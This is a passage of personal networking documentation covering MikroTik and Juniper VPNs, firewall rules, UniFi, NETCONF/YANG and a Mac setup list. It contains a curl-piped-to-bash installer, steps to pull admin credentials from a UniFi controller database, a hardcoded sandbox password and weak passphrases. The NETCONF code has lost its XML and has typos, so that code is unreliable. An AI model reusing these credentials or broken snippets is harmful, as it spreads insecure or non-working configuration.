vpn](_images/juniper-site-to-site-vpn-3.png) ### Phase 2 **Transform Set** ![juniper site to site vpn](_images/juniper-site-to-site-vpn-4.png) **Confirming P1** ![juniper site to site vpn](_images/juniper-site-to-site-vpn-5.png) **P2 Setup** ![juniper site to site vpn](_images/juniper-site-to-site-vpn-6.png) ### Finalization **Create Tunnel Interface** ![juniper site to site vpn](_images/juniper-site-to-site-vpn-7.png) **Crypto Map** ![juniper site to site vpn](_images/juniper-site-to-site-vpn-8.png) ![juniper site to site vpn](_images/juniper-site-to-site-vpn-9.png) --- # Mikrotik Source: docs/networking/mikrotik.md URL: https://docs.calebsargeant.com/networking/mikrotik/ ## First Time Setup ### Securing the Router - Disable wireless if not using it - IP \> Services (disable telnet and stuff, only allow certain addresses) ``` bash ip service print ``` - System \> Password (change the password) - System \> Users \> double click on the user and set the allowed addresses ![mikrotik securing](_images/mikrotik-securing-1.png) ### Configuring the Bridge - IP \> Addresses (giving the bridge an address that will be used as gateway) ![mikrotik bridge](_images/mikrotik-bridge-1.png) ### Configuring the Outside Interface - Disable ether1 in Bridge - IP \> DHCP Client ![mikrotik dhcp client](_images/mikrotik-dhcp-client-1.png) ### Configuring DHCP Server for Clients - IP \> DHCP Server \> DHCP Setup - DHCP Server Interface: bridgeLocal - DHCP Address Space: 172.16.0.0/24 - Gateway for DHCP Network \> 172.16.0.1 - DHCP Relay \> delete this ### Configure NAT - IP \> Firewall \> NAT - Chain: srcnat - Action: masquerade ### Deny Catch all Firewall Rules ![mikrotik firewall](_images/mikrotik-firewall-1.png) ### Upgrading the Router - System \> Packages \> Check For Updates \> Download&install ### Upgrading the Firmware - System \> RouterBOARD \> Upgrade - System \> Reboot ### Setting the Identity - System \> Identity ``` bash system identity set name=Caleb ``` ## Users & Groups & SSH Keys - System \> Users (here you can admin all your users nad groups, give read only access, etc.) - For SSH keys upload your private key file that you generated - Allow/Deny SSH password Login to disable/enable ssh key login only ``` bash ip ssh set always-allow-password-login=no ip ssh print ``` ## HTTPS Access to Router - System \> Certificates - Country: ZA - Key Size: 2048 - Days Valid: 365 - Key Usage: tls server - Sign - IP \> Services \> enable www-ssl and select the certificate ## Backup and Restore - Files \> Backup ``` bash system backup save encryption=aes-sha256 name=backup # or (takes a lot of load) export export file=export ``` - Files \> Restore ``` bash import file-name=export.rsc # or open the file with text editor and copy paste ``` ## Resetting Router - Press the reset button until the light stops flashing by unplugging the power, holding the button and powering on - System \> Reset Configuration ## Netinstall - Only works on ether1 - Formats the drive, keeps license key and RouterBOOT settings - Download Netinstall from Mikrotik site and open it - Click Net booting \> boot server enabled \> put in IP Address of router ## Licensing - System \> License - ## DHCP - Discover: broadcast takes place over network - Offer: the server offers the client a lease - Request: client requests the lease from the server - Acknowledge: server sends client ack for the lease IP \> DHCP Server \> DHCP Setup ## ARP - ARP Request: gets broadcast to find out who the ip address of the mac address is of the ip address - Server puts the clients mac address and ip address in its arp table and replies to client - Mikrotik recommends setting your interface arp to reply-only so that it doesnt learn new arps from anywhere else IP \> ARP ## Bridging - Ports in a bridge behave as a switch at layer 2 Bridge ### Station Mode - Interfaces \> wlan1 \> mode: station bridge - Scan and select the WLAN you want to connect to - this will allow one router to connect to the other one wirelessly: ISP \<-\> R1 \<-\> wifi \<-\> R2 \<-\> PC ## Routing - Exterior Gateway Protocol (EGP): > - BGP - Interior Gateway Protocols (IGP): > - RIP > - IGRP (Cisco) > - EIGRP (Cisco) > - OSPF > - IS-IS IP \> Routes ## Tunneling / VPN ### What is VPN? **Private WAN:** - Secure - Confidential - But expensive Alternative to private WAN is the internet. However, the internet is unsecure and we need a VPN protocol to run to have a secure data transfer from A to B **VPN Features:** - Confidentiality: preventing anyone from reading your data using encryption protocols - Authentication: verifying that the router/firewall or remote user that is sending VPN traffic is a legitimate device or router - Integrity: verifying that the VPN packet wasn't changed during transit - Anty-replay: preventing someone from capturing traffic and resending it, trying to appear as a legitimate device/user ### IKEv2 IPSec - All configuration is done under IP \> IPsec > - Note, according to this Cisco document (), the following algorithms are acceptable: > - Authentication: sha384 (384 wasnt available in the below example) > - Encryption: aes-256 cbc > - Hashing: sha384 > - DH group: modp3084 **Proposal** Select the auth. Algorithm and encr. Algorithm thats NGE acceptable. ![mikrotik ikev2 ipsec](_images/mikrotik-ikev2-ipsec-1.png) **Profile** Select the Hash Algorithm, Encryption Algorithm and DH group thats NGE acceptable. ![mikrotik ikev2 ipsec](_images/mikrotik-ikev2-ipsec-2.png) **Peer** Enter the peer address, select the profile you created and set the exchange mode to IKEv2 ![mikrotik ikev2 ipsec](_images/mikrotik-ikev2-ipsec-3.png) **Identities** Set a PSK and select the correct peer you created. ![mikrotik ikev2 ipsec](_images/mikrotik-ikev2-ipsec-4.png) **Policy** Select the peer you created, set the source and dest addresses, check tunnel. ![mikrotik ikev2 ipsec](_images/mikrotik-ikev2-ipsec-5.png) Action encrypt: ![mikrotik ikev2 ipsec](_images/mikrotik-ikev2-ipsec-6.png) **Firewall & NAT** Create a srcnat rule with action accept to no-nat the traffic. Put this rule on top. ![mikrotik ikev2 ipsec](_images/mikrotik-ikev2-ipsec-7.png) Create a firewall rule to allow the traffic. Action accept, chain forward. ![mikrotik ikev2 ipsec](_images/mikrotik-ikev2-ipsec-8.png) ### PPTP **What is PPTP:** - PPTP means Point-to-Point Tunneling Protocol - PPTP was introduced in 1995 - PPTP is considered a weak VPN protocol in terms of security - PPTP uses port 1723 to establish a peer connection and uses port 47 (GRE) - On Mikrotik, PPTP supports site to site and client to site VPN tunneling **Advantages:** - Easy configuration - Very fast VPN protocol - Available on most platforms **Disadvantages:** - PPTP encryption is weak - A PPTP connection can be exploited by cybercriminals with malicious attacks - A PPTP connetion can be blocked quite easily by firewalls - A router with PPTP passthrough is usually required since PPTP doesn't natively work with NAT **Site to Site Configuration:** - On the main router: - PPP \> Interface \> PPTP Server - PPP \> Secrets \> + > - Name: put a name here > - Password: put a password here > - Profile: select the default-encryption profile or a profile you created > - Local address: the local address of your router > - Remote address: the local address of the other router - On the branch router: - PPP \> Interface \> + \> PPTP Client \> Dial Out > - Connect to: public IP of main router > - User: the username > - Password: the password - Add a route to the local network on each router (IP \> Route) ### L2TP Site-to-Site **On your main router:** - Create the PPP Profile > - PPP \> Profiles > - Name: Put the name of the ppp profile > - Protocols tab \> Use Encryption: yes ![mikrotik l2tp l2l](_images/mikrotik-l2tp-l2l-3.png) ![mikrotik l2tp l2l](_images/mikrotik-l2tp-l2l-4.png) - Enabling L2TP Server with IPSec > - PPP \> Interface \> L2TP Server > - Click enabled > - Use IPsec: yes > - Enter IPsec Secret (this is the PSK that will be for client-to site and site-to-site connections, because we must use one profile for both configurations) ![mikrotik l2tp l2l](_images/mikrotik-l2tp-l2l-1.png) - PPP User Configuration > - PPP \> Secrets > - User: username > - Password (put in password that will be used by the client - not the same as the PSK we setup above) > - Local Address: 172.16.19.1 (or any local IP address) > - Remote Address: 172.16.19.2 (or any local address that can reach local address) > - Routes: put in static route, for example: 192.168.100.0/23 172.16.19.2 ![mikrotik l2tp l2l](_images/mikrotik-l2tp-l2l-2.png) **On your other router:** - Create the PPP Profile > - PPP \> Profiles > - Name: Put the name of the ppp profile > - Protocols tab \> Use Encryption: yes ![mikrotik l2tp l2l](_images/mikrotik-l2tp-l2l-5.png) ![mikrotik l2tp l2l](_images/mikrotik-l2tp-l2l-6.png) - L2TP Client Configuration > - Interfaces \> + \> L2TP Client > > - General: > > > - Name: enter name of interface > > - Dialout: > > > - Connect To: public IP Address of main router > > - User: user > > - Password: put in your users password > > - Profile: select the profile you created > > - Use IPsec > > - IPSec secret: enter your ipsec secret ![mikrotik l2tp l2l](_images/mikrotik-l2tp-l2l-7.png) ![mikrotik l2tp l2l](_images/mikrotik-l2tp-l2l-8.png) - Static Router Configuration > - IP \> Routes > - DST Address: remote subnet > - Gateway: name of your L2TP interface ![mikrotik l2tp l2l](_images/mikrotik-l2tp-l2l-9.png) ### L2TP Client-to-Site **Pool** - IP \> Pools \> create IP pool ![mikrotik l2tp c2s](_images/mikrotik-l2tp-c2s-1.png) **L2TP Profile** - PPP \> Profiles: > - Name: L2TP Client-to-Site > - Local Address: the local address of your router > - Remote Address: l2tppool ![mikrotik l2tp c2s](_images/mikrotik-l2tp-c2s-2.png) ![mikrotik l2tp c2s](_images/mikrotik-l2tp-c2s-3.png) **L2TP Server** - PPP \> Interface \> L2TP Server ![mikrotik l2tp c2s](_images/mikrotik-l2tp-c2s-4.png) **IPSec Proposal** - IP \> IPsec \> Proposals ![mikrotik l2tp c2s](_images/mikrotik-l2tp-c2s-6.png) **IPSec Profile** - IP \> IPsec \> Profiles ![mikrotik l2tp c2s](_images/mikrotik-l2tp-c2s-7.png) ### GRE IPSec ![mikrotik gre](_images/mikrotik-gre-1.png) ![mikrotik gre](_images/mikrotik-gre-2.png) ![mikrotik gre](_images/mikrotik-gre-3.png) ### SSTP **What is SSTP:** - SSTP means Secure Socket Tunneling Protocol - SSTP is a VPN protocol developed my Microsoft and introduced by them with Windows Vista - SSTP is considered a safe VPN Protocol - SSTP uses TCP port 443 - the same port used by HTTPS traiffic - SSTP can bypass NAT firewalls - On Mikrotik, SSTP supports site to site and client to site VPN tunneling **Advantages:** - SSTP encryption offers a decent level of security - Easy configuration - Very difficult to block SSTP because it uses TCP port 443 (same as HTTPS) - Very stable **Disadvantages:** - SSTP protocol clients are available on limited number of platforms (Windows, Android, etc.) - Possible TCP meltdown problem **Site to Site Configuration:** - On the main router: - PPP \> Interface \> SSTP Server - PPP \> Secrets \> + > - Name: put a name here > - Password: put a password here > - Profile: select the default-encryption profile or a profile you created > - Local address: the local address of your router > - Remote address: the local address of the other router - System \> Certificates \> + > - Name: CA-Template > - Common Name: public IP of the router > - SAN: IP - System \> Certificates \> + > - Name: Server-Template > - Common Name: server > - SAN: IP - System \> Certificates \> + > - Name: Client-Template > - Common Name: client > - SAN: IP ``` bash certificate sign CA-Template ca-crl-host=192.16.12.1 name=myca certificate sign Server-Template ca=myca name=server certificate sign Client-Template ca=myca name=client certicicate set server trusted=yes certificate set client trusted=yes certificate export-certificate myca export-passphrase=12345678 certificate export-certificate client export-passphrase=12345678 ``` - PPP \> Interface \> SSTP Server \> Certificate: server - On the branch router: - PPP \> Interface \> + \> SSTP Client \> Dial Out > - Connect to: public IP of main router > - User: the username > - Password: the password - System \> Certificates \> Import \> myca.crt - System \> Certificates \> Import \> myca.key - System \> Certificates \> Import \> client.crt - System \> Certifiicates \> Imports \> client.key - PPP \> Interface \> SSTP \> certificate: client - Add a route to the local network on each router (IP \> Route) **Client to Site Configuration:** - PPP \> Interface \> SSTP Server - PPP \> Secrets \> + - System \> Certificates \> + > - Name: CA-Template > - Common Name: public IP of the router > - SAN: IP - System \> Certificates \> + > - Name: Server-Template > - Common Name: server > - SAN: IP - System \> Certificates \> + > - Name: Client-Template > - Common Name: client > - SAN: IP ``` bash certificate sign CA-Template ca-crl-host=192.16.12.1 name=myca certificate sign Server-Template ca=myca name=server certificate sign Client-Template ca=myca name=client certicicate set server trusted=yes certificate set client trusted=yes certificate export-certificate myca export-passphrase=12345678 certificate export-certificate client export-passphrase=12345678 ``` - Import the client and server certificates to the Windows PC into Trusted Root Certification Authorities ### PPPoE - Point-to-point over Ethernet is a layer 2 protocol - It is often used by ISPs to control access to their networks - It can be used as a method of access on any layer 2 technology, such as 802.11 or Ethernet - You cannot reach a PPPoE server through routers. Since its layer 2 protocol, the server can only be reached through the same Ethernet broadcast domain on which the clients are - IP \> Pool - PPP \> Profiles \> + \> change tcp mss yes - PPP \> Secret - PPP \> PPoE Servers - On the other router \> PPP \> PPoE Scan - On the other router \> PPP \> Interface \> PPPoE client ### L2TP Ports and Protocols - Protocol: UDP, port 500 (for IKE, to manage encryption keys) - Protocol: UDP, port 4500 (for IPSEC NAT-Traversal mode) - Protocol: ESP, value 50 (for IPSEC) - Protocol: AH, value 51 (for IPSEC) ## Firewall ### Basics - Stop unauthorized access - Block unwanted ports - Classify and mark connections and packets for QOS or Routing policy **Firewall functions:** - Filter packets using filter rules - NAT: SRCNAT and DSTNAT to translate source and destination addresses - Mangle: to mark connections and/or packets - RAW: drop or bypass packets before reaching the connection tracking - Service ports: using NAT helpers **Chains:** - Input = to the router - Output = from the router - Forward = via the router **Firewall Basics:** - Rules processed in order - If ... then - If not matched, then packet is accepted **Firewall Actions:** - Passthrough = count packets/bytes - Drop = discard a packet - Reject = discard a packet but send ICMP message or TCP reset > - TCP reset kills a TCP connection instantly - Tarpit = send ACK flag but dont open the connection ### Layer 3 Chains ![mikrotik l3 chains](_images/mikrotik-l3-chains.png) ### Connection States ![mikrotik connection states](_images/mikrotik-connection-states.png) - **New:** The 1st packet observed by the firewall will be new. The firewall will check the packet and if allow then the next packet going to the other direction of that stream will create an established connection - **Established:** a stream of packetstaht successfully pass both directions of the firewall. Established backets will not be evaluated by the firewall. - **Related:** they are not considered part of the connection itself but related to it. - **Invalid:** packets arrived out-of-order to the router or with invalid sequence number. Advise to drop them always. ### Rules - IP \> Firewall \> + - Forward rule \> Established, Related, accept - Input rule \> Established, Related, accept - Forward rule \> Invalid \> drop - Input rule \> Invalid \> drop - Forward rule \> allow local lan - Input rule \> local lan accept - Forward rule \> drop anything else - Input rule \> drop anything else ### Redirect DNS to Router's DNS - IP \> DNS \> Allow Remote Requests - IP \> Firewall \> dstnat \> protocol tcp&udp 53 \> action redrirect 53 - IP \> DNS \> cache ### Destination NAT - IP \> Firewall > - chain: dstnat > - Protocol: 6 (tcp) > - Dst port: 80 > - Action: dst-nat > - To Address: 172.16.1.254 > - To Ports: 80 ### FastTrack FastTracked packets bypass firewall, connection traffic, simple queues, queue tree with parent=global, ip traffic-flow (restriction removed in 6.33), IP accounting, IPSec, hotspot, universal client, VRF assignment, so it is up to admin to make sure FastTrack doesnt interfere with other config - Queues \> 1M / 1M (on all IPs - so all PCs connected get only 1Mbps) - IP \> Firewall \> Mangle > - Chain: forward > - Src Address: 192.168.88.2 > - Action: mark connection > - New Connection Mark: PC-conn - IP \> Firewall \> General > - Chain: forward > - Connection Mark: pc-conn > - Action: fasttrack connection ## QoS ### Simple Queue - Simple queues limit bandwidth to: > - client upload > - client download > - client aggregate (download and upload) - Simple queue is applied to a target (mandatory) which can be: > - An IP Address > - A network subnet > - an interface - Simple queues work in sequence which means that each packet must go through every simple queue until a match occurs - Destination is where the target's traffic is aimed and it is not compulsory as the target - Queue \> Simple Queue \> + - Tools \> Bandwidth Test ### Burst - Burst is important to give extra bandwidth limited time - Burst Limit = 512K - Threshold = 192K - Time = 8s - First client gets 512Kbps for 3 seconds because: > - 1 sec = 64K (less than threshold then burst is possible) > - 2 sec = 128K (less than threshold then burst is possible) > - 3 sec = 192K (equal to the threshold then burst end) ![mikrotik burst](_images/mikrotik-burst.png) - Queue \> Simple queue \> General \> + > - Max Limit: 3M > - Burst Limit: 5M > - Burst Threshold: 2M > - Burst time: 10s Bandwidth limit divided by time. On the first second you'll get 500Kbps extra, etc. until the Burst Limit is reached. Then the speed will go back to normal. ### Per Connection Queue (PCQ) ![mikrotik pcq](_images/mikrotik-pcq-1.png) ![mikrotik pcq](_images/mikrotik-pcq-2.png) - Queues \> Queue Types \> copy pcq upload > - Type Name: PCQ Upload > - Rate: 0 - Queues \> Queue Types \> copy pcq download > - Type Name: PCQ Download > - Rate: 0 - Queues \> General \> Simple queue \> + > - Queue Type: PCQ Upload/Download ## Tools ### Ping - Tools \> Ping ### Traceroute - Tools \> Traceroute ### Profile - Tools \> Profile ``` bash tool profile ``` ## Emails - Tools \> Email ## Netwatch - Tools \> Netwatch \> + > - Up: /tool e-mail send subject="Router is up" body="Router is up on \$\[/system clock get time\]" > - Down: /tool e-mail send subject="Router is down" body="Router is up on \$\[/system clock get time\]" ## Monitoring ### Torch - Tools \> Torch ### Graphing - Tools \> Graphing \> Interface rules - Tools \> Graphing \> Resource rules - of mikrotik/graphs ### The Dude - Dude \> Settings - Install the dude on your PC - Open it up and click discover, put in your subnet ## Wireless ### Terminology **What is wireless?** - RouterOS supports various radio modules that allow comminication over the air (2.4GHz and 5GHz) - MikroTik RouterOS provides a complete support for IEEE 802.11a, 802.11b, 802.11g, 802.11n and 802.11ac wireless networking standards **Wireless standards** - IEEE 802.11b - 2.4GHz frequencies, 11Mbps - IEEE 802.11g - 2.4GHz frequencies, 54Mbps - IEEE 802.11a - 5GHz frequencies, 54Mbps - IEEE 802.11n - 2.4GHz - 5GHz 150Mbps (300Mbps) - IEEE 802.11ac - 5GHz frequencies 1Gbps ![mikrotik wireless](_images/mikrotik-wireless-1.png) - 802.11b,g frequency range - Channels 1,6 and 11 non-overlapping ![mikrotik wireless](_images/mikrotik-wireless-2.png) ![mikrotik wireless](_images/mikrotik-wireless-3.png) **Supported Frequencies** Depending on your country regulations wireless card might support - 2.4GHz: 2312 - 2499 MHz - 5GHz: 4920 - 6100 MHz ### Setup - Wireless \> Security Profiles \> + - Wireless \> WiFi Interface \> enable and configure, select the Security Profile - you can use freq usage to check which frequency has little usage - you can use Snooper to see what's connecting via wifi ### Station Make the router a client (nobody connected to that router can get internet) - Wireless \> mode station ### Mac Filtering Default Authenticate allows clients to authenticate. Turning it off you must use Wireless \> Access list to allow certain clients to access your wifi. Default forward disabled prevents wifi clients from communicating to each other in the wifi. --- # NetDevOps Tool Chest Source: docs/networking/netdevops-toolchest.md URL: https://docs.calebsargeant.com/networking/netdevops-toolchest/ ![netdevops toolchest](_images/netdevops-toolchest-1.png) ![netdevops toolchest](_images/netdevops-toolchest-2.png) ![netdevops toolchest](_images/netdevops-toolchest-3.png) ![netdevops toolchest](_images/netdevops-toolchest-4.png) ![netdevops toolchest](_images/netdevops-toolchest-5.png) ![netdevops toolchest](_images/netdevops-toolchest-6.png) ![netdevops toolchest](_images/netdevops-toolchest-7.png) ![netdevops toolchest](_images/netdevops-toolchest-8.png) ![netdevops toolchest](_images/netdevops-toolchest-9.png) ![netdevops toolchest](_images/netdevops-toolchest-10.png) ![netdevops toolchest](_images/netdevops-toolchest-11.png) ![netdevops toolchest](_images/netdevops-toolchest-12.png) --- # Ubiquiti UniFi Source: docs/networking/ubiquiti-unifi.md URL: https://docs.calebsargeant.com/networking/ubiquiti-unifi/ It's a pretty self-explanatory system, but anyway, here's some stuff on it. ## Access Point ### L3 Adopting SSH For the Ubiquity white page, please see: 1. Make sure the AP is running the same firmware as the controller. If it is not, see this guide: [Changing UniFi firmware via SSH](http://community.ubnt.com/t5/UniFi-Troubleshooting/UniFi-Upgrading-firmware-image-via-SSH/ta-p/944337). This is not required for minor version differences. 2. Make sure the AP is in factory default state if it's not, do: `` `syswrapper.sh restore-default ``\` 3. SSH into the device and type the following: `` `set-inform http://unifi.example.com:8080/inform ``\` 4. The AP will now show up for adoption. Click adopt and the device will go offline. 5. Once the device goes offline, repeat step 3. The device will save the inform URL and will start provisioning. ### Cisco Switchport Config Below shows UAP config for switchport, where 10 is the VLAN the AP natively lives in, 20 & 30 being WLANs. ``` text interface GigabitEthernet0/5 description UAP switchport trunk encapsulation dot1q switchport trunk native vlan 10 switchport trunk allowed vlan 10,20,30 switchport mode trunk ``` ## Controller ### Installation Refer to this guide: ### Backups **Manual Backups** To manually backup the controller, go to *Settings \> Maintenance \> Backup*. Set the *Backup Data Retention* and click on *Download Backup*. Manually copy the backup to \. **Auto Backups** ![unifi backup](_images/unifi-backup-1.png) ### Restoring To restore the controller from a file, go to *Settings \> Maintenance \> Restore*. Click on *Choose File* and select the file to restore. ### Windows Credential Recovery 1. Open Ubiquiti UniFi Controller. 2. Download mongoDB. 3. Open CMD 4. `cd %userprofile%\downloads\mongo..\bin` 5. `/mongo --port 27117` 6. `use ace` 7. `db.admin.find()` The username and password will be at the bottom --- # API Source: docs/other/api/index.md URL: https://docs.calebsargeant.com/other/api/ "Only use the CLI when you must" - use RESTCONF/NETCONF & YANG instead. You can use the API models cross-vendor, where CLI changes. MIB is a structure model of information that we use with SNMP but OIDs are difficult to remember. With SNMP we get information about the MIB. NETCONF, RESTCONF, and YANG, work the same way. YANG is like a new-standard MIB, it's a way to define information about your devices/network. The way you get the information is to go over some sort of transport protocol. This is where NETCONF & RESTCONF come in - you can connect to device and ask it to send you information. The requested information is related to a YANG model. --- # NETCONF Source: docs/other/api/netconf.md URL: https://docs.calebsargeant.com/other/api/netconf/ NETCONF/YANG are kind of like SNMPv4 (but not really) - it's nextgen style of reading device. MIBs are too crazy to read. NETCONF runs over SSH and is XML under the hood. RESTCONF is over HTTP(s) via RESTAPI and headers and things. Both use YANG models. When a device supports both it comes down to personal preference. RESTCONF is used if you prefer RESTAPI. RESTCONF is simpler to use. NETCONF is the fist and oldest protocol. Dont waste time on draft RESTCONF. Very advanced things can only be done on NETCONF. RESTCONF is the future, but we must learn both. NETCONF runs on TCP-830 `ssh -oHostKeyAlgorithms=+ssh-dss root@ios-xe-mgmt.cisco.com -p 10000 -s netconf` netconf will say hello and give you its capabilities paste in your capability text netconf session will be established after completing hello handshake you can now ask or configure the device things over NETCONF XML Using interactive python to interact with device with NETCONF (`pip3 install ncclient`) ``` python ipython from ncclient import manager from demo import iosxeao iosxeao {'address': 'ios-xe-mgmt.cisco.com', 'netconf_port': 10000, 'restconf_port': 9443, 'username': 'root', 'password': 'D_Vay!_10&'} iosxe_manager = manager.connect( host = iosxeao["address"], port = iosxeao["netconf_port"], username = iosxe["username"], password = iosxe["password"], hostkey_verify = False) # find type of management type(iosxe_manager) ncclient.manager.Manager # are we connected iosxe_manager.connected True # show manager capabilities ioxe_manager.server_capabilities GigabitEthernet3 """ # Send get config with NETCONF from running-config iosxe_GigabitEthernet3 = iosxe_manager.get_config("running", filter_GigabitEthernet3) # run python type and get a GetReply from NETCONF type(iosxe_GigabitEthernet3) # run status code to see if NETCONF query successful iosxe_GigabitEthernet3.ok True # Import XML python library from xml.dom import minidom # Take and process returned XML iosxe_config_xml = minidom.parseString(iosxe_GigabitEthernet3.xml) # Print out the XML output print(iosxe_config_xml.toprettyxml(indent = " ")) # the requested device config will print out in XML format # Grab the xml and create a dictionary object in python import xmltodict iosxe_gig3_dict = xmltodict.parse(iosxe_GigabitEthernet3.xml) # Find the information in an order iosxe_gig3_dict["rpc-reply"]["data"] # Create that output as an object intf = iosxe_gig3_dict["rpc-reply"]["data"] # show the keys of the rpc-reply intf.keys() object_keys(['interfaces']) # show the interfaces and dive into interface key and get the name intf["interfaces"]["interface"]["name"] OrderedDict([('@xmlns:nc', 'urn:ietf:params:xml:ns:netconf:base:1.0'), ('#text', 'GigabitEthernet3')]) # Get the enabled status of interface gig0/3 intf["interfaces"]["interface"]["enabled"] 'true' # Create loopback interface / send config to device create_loopback = """ Loopback1024 Caleb's Loopback ianaift:softwareLoopback true
172.31.231.231 255.255.255.0
""" # send the config to the device through edit_config iosxe_create_loopback = iosxe_manager.edit_config(target = "running", config = create_loopback) # check status of sent config iosxe_create_loopback.ok 'true' # Create a filter for loopback filter_loopback = """ Loopback1024 """ # show running config using filter iosxe_loopback = iosxe_manager.get_config("running", filter_loopback) iosxe_config_xml = minidom.parseString(iosxe_loopback.xml) print(iosxe_config_xml.toprettyxml(indent = " ")) # the config will print # To remove config - note the interface operation is now delete, not the default create/merge delete_loopback = """ Loopback1024 """ # Create another edit_config iosxe_delete_loopback = iosxe_manager.edit_config(target = "running", config = delete_loopback) # Check if ran sucessfully iosxe_delete_loopback.ok 'true' ``` --- # Postman Source: docs/other/api/postman.md URL: https://docs.calebsargeant.com/other/api/postman/ Postman allows you to send RESTAPI calls to any endpoint and can save them as bookmarks (postman calls them collections). ## Device Login An example device login POST request: URL: {{host}}/api/aaaLogin.json Body: ``` json { "aaaUser": { "attributes": { "name": "{{username}}", "pwd": "{{password}}" } } } ``` --- # RESTCONF Source: docs/other/api/restconf.md URL: https://docs.calebsargeant.com/other/api/restconf/ RESTCONF is a RESTAPI protocol for the network and is a standard protocol from the IETF (natural evolution of SNMP & MIBs is where you get NETCONF & YANG from) RESTCONF is newer than NETCONF and most devices will support NETCONF. Both models have their use cases, we must know both. GRPC is a google protocol where you are able to control & configure everything GCP. GRPC is used in model-driven telemetry / streaming telemetry. Instead of polling device, setup a connection stream to device. --- # YANG Source: docs/other/api/yang.md URL: https://docs.calebsargeant.com/other/api/yang/ pyang (Python YANG) allows you to process data models in an easier to read format. `pyang -f tree` will show the output in a tree format. YANG is an IETF standard for modelling language to write data models for computer programming, which can be used to describe anything. Descriptive way of describing a network. Each parent is called a container (nothing to do with Docker). Each child item/attribute/element in YANG is called a leaf (not an edge switch in a topology). In YANG, model and module are loosely interchangeable terms. The network engineer does not need to create the YANG model, the vendor (IETF mostly) does and we just make use of it. Data Models are an intuitive way of understanding an object. A group of people each have height, hair colour, eye colour, ages, genders, skin tone, etc. You can find a person using these descriptions. OpenConfig / IETF / Native - a consortium of vendors come together to create an openconfig model, IETF is the standard and all vendors have their own native models. Official place for YANG models - --- # Main Title Source: docs/other/general/_docs/README.md URL: https://docs.calebsargeant.com/other/general/_docs/README/ We are doing this and that with this repo ## Getting Started These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system. ### Prerequisites #### On Mac: [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli-macos?view=azure-cli-latest), [Ansible](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html#latest-releases-via-pip), and [Bash 4.0+](https://apple.stackexchange.com/questions/193411/update-bash-to-version-4-0-on-osx) are required to run the scripts in this project. You are also required to [sign into Azure through the CLI](https://docs.microsoft.com/en-us/powershell/azure/authenticate-azureps?view=azps-3.0.0#sign-in-interactively) prior to running the scripts. ``` # Azure CLI brew install azure-cli # Ansible pip install ansible # Bash 4.0+ brew install bash sudo bash -c 'echo /usr/local/bin/bash >> /etc/shells' chsh -s /usr/local/bin/bash ``` #### On Ubuntu: To be documented. If you are running Windows, you need to install Ubuntu subsystem and look at the Ubuntu equivalent to installing Azure CLI and Ansible (Bash 4.0 can be updated or comes with Ubuntu). ## Using this Repo We assume that you are within the repo, therefore, for example, `cd` into the repo: `cd ~/repos/myrepo/`. The scripts in this repo allow us to deploy everything we need to Azure. You need to be in the directory to execute the scripts. The scripts are run in order, but have already been run, so there's nothing to deploy. Below is an example of how you would deploy everything to Azure again. * `. ./myscript ` does this and that. * `./02-AADDS.sh` does this: * [A link](https://www.google.co.za), which is a form of AD in Azure that allows us to join machines to the domain, etc. We can also [another link](https://www.google.co.za), but we didn't (however we can with `wow.sh`) * `./script.sh` does this. **DO NOT** run this script like this! * `./anotherscript.sh` generates scripts (`me.ps1`) to do this. * After the above scripts have been executed, you will have this. ### More Stuff! #### RADIUS * One * Two * Three ## Languages / Software Used * [Bash](https://www.gnu.org/software/bash/) - Scripts are written in bash * [PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7) - Unfortunately had to be used to configure Azure tunnels (and create AAADS) * [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest) - Used to deploy "hardware" components to Azure * [Expect](https://www.nist.gov/services-resources/software/expect) - Used to `ssh-copy-id` without password prompt * [Ansible](https://www.ansible.com/) - Software service deployment to Azure VMs * [FreeRADIUS](https://freeradius.org/) - The RADIUS software deployed to Azure VMs for wireless authentication * [Duo Authentication Proxy](https://duo.com/docs/authproxy-reference) - The "Duo enabled" RADIUS software deployed to Azure VMs for RA VPN & Network Device Management Access --- # Documentation Source: docs/other/general/documentation.md URL: https://docs.calebsargeant.com/other/general/documentation/ ## Markdown [README.md](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/other/general/_docs/README.md) --- # Download Videos Source: docs/other/general/download-videos.md URL: https://docs.calebsargeant.com/other/general/download-videos/ ``` bash # Install youtube-dl brew install youtube-dl # Example to extract and download mp3 from a YouTube playlist youtube-dl -i -x --audio-format mp3 https://www.youtube.com/playlist?list=PLAdhO41Xw-3WPuopzClryku_gtr5V7YXA # Example to download just a video youtube-dl -i https://www.youtube.com/watch?v=NZHn2UhrLZM ``` --- # Host Setup Source: docs/other/general/host-setup.md URL: https://docs.calebsargeant.com/other/general/host-setup/ Developer tools in Chrome: - **Network** tab shows all api calls for webpage - **Console** shows error messages ## Mac ### M1 Mac VM ### Wake on LAN Client ``` bash brew install wakeonlan wakeonlan -i 192.168.1.255 -p 1234 01:02:03:04:05:06 ``` ### List of Stuff List of stuff to install on a (new) Mac: ``` bash ## New Mac Setup # Install Homebrew (https://brew.sh/) /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)" # install git brew install git # install ansible brew install ansible # coreutils brew install coreutils # install python requests for API calls pip3 install requirements # install powershell (pwsh) brew cask install powershell # install powershell language for atom apm install language-powershell # Install Powershell beautifier pwsh Install-Module -Name PowerShell-Beautifier # modifying file - Edit-DTWBeautifyScript C:\temp\MyFile.ps1 # install atom beautify apm install beautify # install atom compare-files apm install compare-files # install atom file-icons apm install --production file-icons # Install atom minimap apm install minimap # Install atom minimap auto-hider apm install minimap-autohider # Install nmap brew install nmap # Install pandoc (https://pandoc.org/) - usage ex. pandoc -t markdown -o output.md ~/input.docx brew install pandoc # Install virtualenv pip3 install virtualenv # Install webp to convert webp to png (for i in `ls | grep webp | cut -f 1 -d '.'`; do dwebp "$i.webp" -o "$i.png"; done) brew install webp # Openstack (https://docs.openstack.org/newton/user-guide/common/cli-install-openstack-command-line-clients.html) pip3 install python-openstackclient # Install qemu brew install qemu # Jinja2 template syntax highlighting apm install atom-jinja2 # Install tabula extractor to extract tables out pdfs brew cask install tabula # Install jq brew install jq # Install Azure CLI brew update && brew install azure-cli # Install AWS CLI v2 curl "https://awscli.amazonaws.com/AWSCLIV2.pkg" -o 